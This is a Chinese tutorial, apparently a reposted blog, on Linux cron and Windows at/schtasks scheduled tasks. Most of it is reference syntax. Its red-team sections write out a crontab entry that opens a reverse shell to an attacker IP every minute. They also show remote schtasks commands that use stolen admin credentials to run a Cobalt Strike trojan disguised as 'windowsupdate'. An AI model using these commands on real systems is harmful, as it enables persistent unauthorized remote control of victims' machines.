1. 程式人生 > 實用技巧 >淺談計劃任務Linux&Windows

淺談計劃任務Linux&Windows

部分資源來源於網路,如有侵權請聯絡[email protected]

以下文字僅用於個人學習記錄及分享,切勿用此實施違法犯罪活動。

1.Linux

Linux下的任務排程分為兩類: 系統任務排程使用者任務排程

系統任務排程: 系統週期性所要執行的工作,比如寫快取資料到硬碟、日誌清理等。在/etc目錄下有一個crontab檔案,這個就是系統任務排程的配置檔案。

/etc/crontab檔案包括下面幾行:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""
HOME=/

# run-parts
51 * * * * root run-parts /etc/cron.hourly
24 7 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

前四行是用來配置crond任務執行的環境變數,第一行SHELL變數指定了系統要使用哪個shell,這裡是bash,第二行PATH變數指定了系統執行命令的路徑,第三行MAILTO變數指定了crond的任務執行資訊將通過電子郵件傳送給root使用者,如果MAILTO變數的值為空,則表示不傳送任務執行資訊給使用者,第四行的HOME變數指定了在執行命令或者指令碼時使用的主目錄。

使用者任務排程: 使用者定期要執行的工作,比如使用者資料備份、定時郵件提醒等。使用者可以使用 crontab 工具來定製自己的計劃任務。所有使用者定義的crontab檔案都被儲存在/var/spool/cron目錄中。其檔名與使用者名稱一致,使用者許可權檔案如下:

/etc/cron.deny     該檔案中所列使用者不允許使用crontab命令
/etc/cron.allow    該檔案中所列使用者允許使用crontab命令
/var/spool/cron/   所有使用者crontab檔案存放的目錄,以使用者名稱命名

crontab檔案的含義:使用者所建立的crontab檔案中,每一行都代表一項任務,每行的每個欄位代表一項設定,它的格式共分為六個欄位,前五段是時間設定段,第六段是要執行的命令段,格式如下:

minute   hour   day   month   week   command     順序:分 時 日 月 周

其中:

  • minute: 表示分鐘,可以是從0到59之間的任何整數。
  • hour:表示小時,可以是從0到23之間的任何整數。
  • day:表示日期,可以是從1到31之間的任何整數。
  • month:表示月份,可以是從1到12之間的任何整數。
  • week:表示星期幾,可以是從0到7之間的任何整數,這裡的0或7代表星期日。
  • command:要執行的命令,可以是系統命令,也可以是自己編寫的指令碼檔案。

在以上各個欄位中,還可以使用以下特殊字元:

  • 星號(*):代表所有可能的值,例如month欄位如果是星號,則表示在滿足其它欄位的制約條件後每月都執行該命令操作。
  • 逗號(,):可以用逗號隔開的值指定一個列表範圍,例如,“1,2,5,7,8,9”
  • 中槓(-):可以用整數之間的中槓表示一個整數範圍,例如“2-6”表示“2,3,4,5,6”
  • 正斜線(/):可以用正斜線指定時間的間隔頻率,例如“0-23/2”表示每兩小時執行一次。同時正斜線可以和星號一起使用,例如*/10,如果用在minute欄位,表示每十分鐘執行一次。

1.1.crond服務常用命令

常用命令如下:

crontab [-u username]    //省略使用者表表示操作當前使用者的crontab
    -e      (編輯工作表)
    -l      (列出工作表裡的命令)
    -r      (刪除工作作)
/sbin/service crond start    # 啟動服務
/sbin/service crond stop     # 關閉服務
/sbin/service crond restart  # 重啟服務
/sbin/service crond reload   # 重新載入配置

檢視crontab服務狀態:

service crond status

手動啟動crontab服務:

service crond start

檢視crontab服務是否已設定為開機啟動,執行命令:

ntsysv

加入開機自動啟動:

chkconfig –level 35 crond on
  • 我們還可以把指令碼放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目錄中,讓它每小時/天/星期、月執行一次。

1.2.crond命令例項

每1分鐘執行一次command

* * * * * command

每小時的第3和第15分鐘執行

3,15 * * * * command

在上午8點到11點的第3和第15分鐘執行

3,15 8-11 * * * command

每隔兩天的上午8點到11點的第3和第15分鐘執行

3,15 8-11 */2 * * command

每個星期一的上午8點到11點的第3和第15分鐘執行

3,15 8-11 * * 1 command

每晚的21:30重啟smb

30 21 * * * /etc/init.d/smb restart

每月1、10、22日的4 : 45重啟smb

45 4 1,10,22 * * /etc/init.d/smb restart

每週六、週日的1:10重啟smb

10 1 * * 6,0 /etc/init.d/smb restart

每天18 : 00至23 : 00之間每隔30分鐘重啟smb

0,30 18-23 * * * /etc/init.d/smb restart

每星期六的晚上11:00 pm重啟smb

0 23 * * 6 /etc/init.d/smb restart

每一小時重啟smb

* */1 * * * /etc/init.d/smb restart

晚上11點到早上7點之間,每隔一小時重啟smb

* 23-7/1 * * * /etc/init.d/smb restart

每月的4號與每週一到週三的11點重啟smb

0 11 4 * mon-wed /etc/init.d/smb restart

一月一號的4點重啟smb

0 4 1 jan * /etc/init.d/smb restart

每小時執行/etc/cron.hourly目錄內的指令碼

01 * * * * root run-parts /etc/cron.hourly

1.3.在紅隊攻擊方面的利用

1.3.1反彈shell

bash -i >& /dev/tcp/IP/PORT 0>&1

命令解釋:

要想了解命令中的“>&”和“0>&1”,首先我們要先了解一下Linux檔案描述符和重定向。

linux shell下常用的檔案描述符是:

  • 標準輸入 (stdin) :程式碼為 0 ,使用 < 或 <<

  • 標準輸出 (stdout):程式碼為 1 ,使用 > 或 >>

  • 標準錯誤輸出(stderr):程式碼為 2 ,使用 2> 或 2>>

  • bash -i: -i(interactive)。即產生一個互動式的shell(bash)

  • /dev/tcp/IP/POR:接單理解就可以是連線IP上的PORT埠,具體意思-->>/dev/tcp/是Linux中的一個特殊裝置,開啟這個檔案就相當於發出了一個socket呼叫,建立一個socket連線,讀寫這個檔案就相當於在這個socket連線中傳輸資料。同理,Linux中還存在/dev/udp/

  • 在這裡&並不是and的意思,在c或者C++中,&是取地址符。>&和&<是一個意思,把...定向到.....;>&和2>&1是一個意思就是把標準錯誤輸出定向到標準輸出中,0>&1就是把標準輸入定向到標準輸出中

演示:

CentOS 7 64 bit虛擬機器(IP:192.168.2.184)&Kali Linux 虛擬機器(IP:192.168.0.188)各一臺

(1)在CentOS 7上建立計劃任務(此時我用的時root使用者登陸)

crontab -e 
* * * * * bash -i  >& /dev/tcp/192.168.0.188/6666 0>&1

(2)在Kali上監聽埠

nc -lvp 6666

(3)成功返回shell

2.Windows

Windows 7 之前我們可以使用at命令完成定時任務:

AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
    [ /EVERY:date[,...] | /NEXT:date[,...]] "command"

\\computername       指定遠端計算機。如果省略這個引數,
                     會計劃在本地計算機上執行命令。
id                   指定給已計劃命令的識別號。
/delete              刪除某個已計劃的命令。如果省略 id,
                     計算機上所有已計劃的命令都會被刪除。
/yes                 不需要進一步確認時,跟刪除所有作業
                     的命令一起使用。
time                 指定執行命令的時間。
/interactive         允許作業在執行時,與當時登入的使用者
                     桌面進行互動。
/every:date[,...]    指定在每週或每月的特定日期執行命令。
                     如果省略日期,則預設為在每月的
                     本日執行。
/next:date[,...]     指定在下一個指定日期(如,下週四)運
                     行命令。如果省略日期,則預設為在每
                     月的本日執行。
"command"            準備執行的 Windows NT 命令或批處理
                     程式。
at \\computername time /interactive | /every:date,... /next:date,... command
  • \\ computername:使用此引數指定遠端計算機。如果省略此引數,則計劃將任務在本地計算機上執行。
  • time:使用此引數可以指定任務執行的時間。時間指定為小時:基於24小時制的分鐘。例如,0:00代表午夜,20:30代表晚上8:30
  • /interactive:使用此引數允許任務與任務執行時登入的使用者的桌面進行互動。
  • /every:date,...:使用此引數可以安排任務在每週或每月的指定日期或星期幾(例如,每個星期五或每月的第八天)執行。將日期指定為一週中的一或幾天(使用以下縮寫:M,T,W,Th,F,S,Su)或一個月中的一或幾天(使用數字1至31)。確保使用逗號分隔多個日期條目。如果省略此引數,則任務計劃在當天執行。
  • /next:date,...:使用此引數可以安排任務在一天的下一個發生時間(例如,下週一)執行。將日期指定為一週中的一或幾天(使用以下縮寫:M,T,W,Th,F,S,Su)或一個月中的一或幾天(使用數字1至31)。確保使用逗號分隔多個日期條目。如果省略此引數,則任務計劃在當天執行。
  • command:使用此引數指定要執行的Windows 2000命令,程式(.exe或.com檔案)或批處理程式(.bat或.cmd檔案)。如果命令要求使用路徑作為引數,請使用絕對路徑名(以驅動器號開頭的整個路徑)。如果命令在遠端計算機上,請使用統一命名約定(UNC)路徑名( \\ServerName\ShareName)。如果該命令不是可執行(.exe)檔案,則必須在命令前加上 cmd /c,例如:cmd /c copy C:*.* C:\temp。
  • id:使用此引數可以指定分配給計劃任務的標識號。
  • /delete:使用此引數可以取消計劃的任務。如果省略id引數,則會取消計算機上的所有計劃任務。
  • /yes:取消預定任務時,使用此引數對系統中的所有查詢強制使用“是”。如果省略此引數,則提示您確認取消任務。

2.1.at命令的幾個用法

(1)at
列出在指定的時間和日期在計算機上執行的已計劃命令或計劃命令和程式。如果在沒有引數的情況下使用,則 at 列出已計劃的命令。

(2)at 5 /Delete 
刪除該計劃,5為指派給已計劃命令的標識編號,可以使用不帶引數的at命令檢視所有編號,當然,刪除該計劃後,可以重新安排。

(3)at /Delete    或者    at /Delete /y
取消全部計劃

(4)At \\computername c:\winnt\system32/viliosn.exe
為遠端計算機新增計劃任務

(5)At \\computername 1 /delete /yes
刪除遠端計算機上標號為1的計劃任務

2.2.at命令例項

(1)定時關機
命令:at 21:00 ShutDown –S –T30
該命令執行後,到了21:00點,電腦會出現“系統關機”對話方塊,並預設30秒延時自動關機。

(2)定時提醒
命令:at 12:00 Net Send 10.10.36.132與朋友約會的時間到了,快點準備出發吧!
其中Net Send是Windows內部程式,可以傳送訊息到網路上的其他使用者、計算機。10.10.36.132是本機電腦的IP地址。這個功能在Windows中也稱作“信使服務”。

(3)自動執行批處理檔案
命令:at 1:00AM /Every:Saturday My_BackUp.bat
在每個Saturday(週六)的早上1:00點,電腦定時啟動My_BackUp.bat批處理檔案。My_BackUp.bat是一個你自行編制的批處理檔案,它包含能對系統進行資料完全備份的多

(4)自動執行程式

命令:at 6:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday notepad.exe

每週的週一到週五6:00執行記事本程式

(5)以互動模式中自動執行執行程式

命令:at 22:30 /interactive "E:\Install\Thunder\Thunder.exe"

互動模式中22:30執行迅雷程式

2.3.schtasks命令

Windows 7 之後微軟官方提供了一個更強大的工具–schtasks。

描述:
    允許管理員建立、刪除、查詢、更改、執行和中止本地或遠端系統上的計劃任
    務。

引數列表:
    /Create         建立新計劃任務。

    /Delete         刪除計劃任務。

    /Query          顯示所有計劃任務。

    /Change         更改計劃任務屬性。

    /Run            按需執行計劃任務。

    /End            中止當前正在執行的計劃任務。

    /ShowSid        顯示與計劃的任務名稱相應的安全識別符號。

    /?              顯示此幫助訊息。
    
    Examples:
    SCHTASKS
    SCHTASKS /?
    SCHTASKS /Run /?
    SCHTASKS /End /?
    SCHTASKS /Create /?
    SCHTASKS /Delete /?
    SCHTASKS /Query  /?
    SCHTASKS /Change /?
    SCHTASKS /ShowSid /?
SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]

描述:
     允許管理員在本地或遠端系統上建立計劃任務。

引數列表:
    /S   system        指定要連線到的遠端系統。如果省略這個
                       系統引數,預設是本地系統。

    /U   username      指定應在其中執行 SchTasks.exe 的使用者上下文。

    /P   [password]    指定給定使用者上下文的密碼。如果省略則
                       提示輸入。

    /RU  username      指定任務在其下執行的“執行方式”使用者
                       帳戶(使用者上下文)。對於系統帳戶,有效
                       值是 ""、"NT AUTHORITY\SYSTEM" 或
                       "SYSTEM"。
                       對於 v2 任務,"NT AUTHORITY\LOCALSERVICE"和
                       "NT AUTHORITY\NETWORKSERVICE"以及常見的 SID
                         對這三個也都可用。

    /RP  [password]    指定“執行方式”使用者的密碼。要提示輸
                       入密碼,值必須是 "*" 或無。系統帳戶會忽略該
                       密碼。必須和 /RU 或 /XML 開關一起使用。

/RU/XML    /SC   schedule     指定計劃頻率。
                       有效計劃任務:  MINUTE、 HOURLY、DAILY、WEEKLY、
                       MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

    /MO   modifier     改進計劃型別以允許更好地控制計劃重複
                       週期。有效值列於下面“修改者”部分中。

    /D    days         指定該周內執行任務的日期。有效值:
                       MON、TUE、WED、THU、FRI、SAT、SUN
                       和對 MONTHLY 計劃的 1 - 31
                       (某月中的日期)。萬用字元“*”指定所有日期。

    /M    months       指定一年內的某月。預設是該月的第一天。
                       有效值: JAN、FEB、MAR、APR、MAY、JUN、
                       JUL、 AUG、SEP、OCT、NOV  和 DEC。萬用字元
                       “*” 指定所有的月。

    /I    idletime     指定執行一個已計劃的 ONIDLE 任務之前
                       要等待的空閒時間。
                       有效值範圍: 1 到 999 分鐘。

    /TN   taskname     以路徑\名稱形式指定
                       對此計劃任務進行唯一標識的字串。

    /TR   taskrun      指定在這個計劃時間執行的程式的路徑
                       和檔名。
                       例如: C:\windows\system32\calc.exe

    /ST   starttime    指定執行任務的開始時間。
                       時間格式為 HH:mm (24 小時時間),例如 14:30 表示
                       2:30 PM。如果未指定 /ST,則預設值為
                       當前時間。/SC ONCE 必需有此選項。

    /RI   interval     用分鐘指定重複間隔。這不適用於
                       計劃型別: MINUTE、HOURLY、
                       ONSTART, ONLOGON, ONIDLE, ONEVENT.
                       有效範圍: 1 - 599940 分鐘。
                       如果已指定 /ET 或 /DU,則其預設值為
                       10 分鐘。

    /ET   endtime      指定執行任務的結束時間。
                       時間格式為 HH:mm (24 小時時間),例如,14:50 表示 2:50 PM。
                       這不適用於計劃型別: ONSTART、
                       ONLOGON, ONIDLE, ONEVENT.

    /DU   duration     指定執行任務的持續時間。
                       時間格式為 HH:mm。這不適用於 /ET 和
                       計劃型別: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                       對於 /V1 任務,如果已指定 /RI,則持續時間預設值為
                       1 小時。

    /K                 在結束時間或持續時間終止任務。
                       這不適用於計劃型別: ONSTART、
                       ONLOGON, ONIDLE, ONEVENT.
                       必須指定 /ET 或 /DU。

    /SD   startdate    指定執行任務的第一個日期。
                       格式為 yyyy/mm/dd。預設值為
                       當前日期。這不適用於計劃型別: ONCE、
                       ONSTART, ONLOGON, ONIDLE, ONEVENT.

    /ED   enddate      指定此任務執行的最後一天的日期。
                       格式是 yyyy/mm/dd。這不適用於計劃型別:
                        ONCE、ONSTART、ONLOGON、ONIDLE。

    /EC   ChannelName  為 OnEvent 觸發器指定事件通道。

    /IT                僅有在 /RU 使用者當前已登入且
                       作業正在執行時才可以互動式執行任務。
                       此任務只有在使用者已登入的情況下才執行。

    /NP                不儲存任何密碼。任務以給定使用者的身份
                       非互動的方式執行。只有本地資源可用。

    /Z                 標記在最終執行完任務後刪除任務。

    /XML  xmlfile      從檔案的指定任務 XML 中建立任務。
                       可以組合使用 /RU 和 /RP 開關,或者在任務 XML 已包含
                       主體時單獨使用 /RP。

    /V1                建立 Vista 以前的平臺可以看見的任務。
                       不相容 /XML。

    /F                 如果指定的任務已經存在,則強制建立
                       任務並抑制警告。

    /RL   level        為作業設定執行級別。有效值為
                       LIMITED 和 HIGHEST。預設值為 LIMITED。

    /DELAY delaytime   指定觸發觸發器後延遲任務執行的
                       等待時間。時間格式為
                       mmmm:ss。此選項僅對計劃型別
                       ONSTART, ONLOGON, ONEVENT.

    /HRESULT          為獲得更出色的故障診斷能力,處理退出程式碼
                       將採用 HRESULT 格式。

    /?                 顯示此幫助訊息。

修改者: 按計劃型別的 /MO 開關的有效值:
    MINUTE:  1 到 1439 分鐘。
    HOURLY:  1 - 23 小時。
    DAILY:   1 到 365 天。
    WEEKLY:  1 到 52 周。
    ONCE:    無修改者。
    ONSTART: 無修改者。
    ONLOGON: 無修改者。
    ONIDLE:  無修改者。
    MONTHLY: 1 到 12,或
             FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。

    ONEVENT:  XPath 事件查詢字串。
示例:
    ==> 在遠端機器 "ABC" 上建立計劃任務 "doc",
        該機器每小時在 "runasuser" 使用者下執行 notepad.exe。

        SCHTASKS /Create /S ABC /U user /P password /RU runasuser
                 /RP runaspassword /SC HOURLY /TN doc /TR notepad

    ==> 在遠端機器 "ABC" 上建立計劃任務 "accountant",
        在指定的開始日期和結束日期之間的開始時間和結束時間內,
        每隔五分鐘執行 calc.exe。

        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
                 /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
                 /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

    ==> 建立計劃任務 "gametime",在每月的第一個星期天
        執行“空當接龍”。

        SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
                 /TR c:\windows\system32\freecell

    ==> 在遠端機器 "ABC" 建立計劃任務 "report",
        每個星期執行 notepad.exe。

        SCHTASKS /Create /S ABC /U user /P password /RU runasuser
                 /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

    ==> 在遠端機器 "ABC" 建立計劃任務 "logtracker",
        每隔五分鐘從指定的開始時間到無結束時間,
        執行 notepad.exe。將提示輸入 /RP
        密碼。

        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
                 /MO 5 /TN logtracker
                 /TR c:\windows\system32\notepad.exe /ST 18:30
                 /RU runasuser /RP

    ==> 建立計劃任務 "gaming",每天從 12:00 點開始到
        14:00 點自動結束,執行 freecell.exe。

        SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
                 /ET 14:00 /K
    ==> 建立計劃任務“EventLog”以開始執行 wevtvwr.msc
        只要在“系統”通道中釋出事件 101

        SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
                 /EC System /MO *[System/EventID=101]
    ==> 檔案路徑中可以加入空格,但需要加上兩組引號,
        一組引號用於 CMD.EXE,另一組用於 SchTasks.exe。用於 CMD
        的外部引號必須是一對雙引號;內部引號可以是一對單引號或
        一對轉義雙引號:
        SCHTASKS /Create
           /tr "'c:\program files\internet explorer\iexplorer.exe'
           \"c:\log data\today.xml\"" ...

2.4.schtasks命令例項-在後滲透中的應用

模擬實驗環境:

攻擊機器1:window 10 64bit(IP:192.168.1.246)

攻擊機器2:Kali linux (IP:192.168.0.188)

CS伺服器:阿里雲ECS

受害機器:Windows 7 64bit(IP:192.168.1.21)可訪問網際網路

(1)首先將攻擊機器2上的CS客戶端連線到CS伺服器上的服務端,假設我們已經通過攻擊機器1將CS遠控木馬檔案上傳到了受害機器C盤根路徑下。並且知道受害機器的管理員使用者名稱和密碼。

(2)使用攻擊機器1遠端給受害機器設定遠端任務執行CS木馬.exe檔案。

schtasks /create /s 192.168.1.102 /u “administrator” /p “123!@#” /RL HIGHEST /tn windowsupdate /tr C:\\Windows\temp\1.bat /sc MINUTE  #建立任務

schtasks /run /tn windowsupdate /s 192.168.1.102 /u “administrator” /p “123!@#” 

以上兩條命令引數的含義請參考2.3,也可以在自己的機器上使用幫助命令檢視對應的引數的含義。相關引數值需要根據實際情況做出適當的修改。

(3)前往攻擊機器2,發現肉雞上線。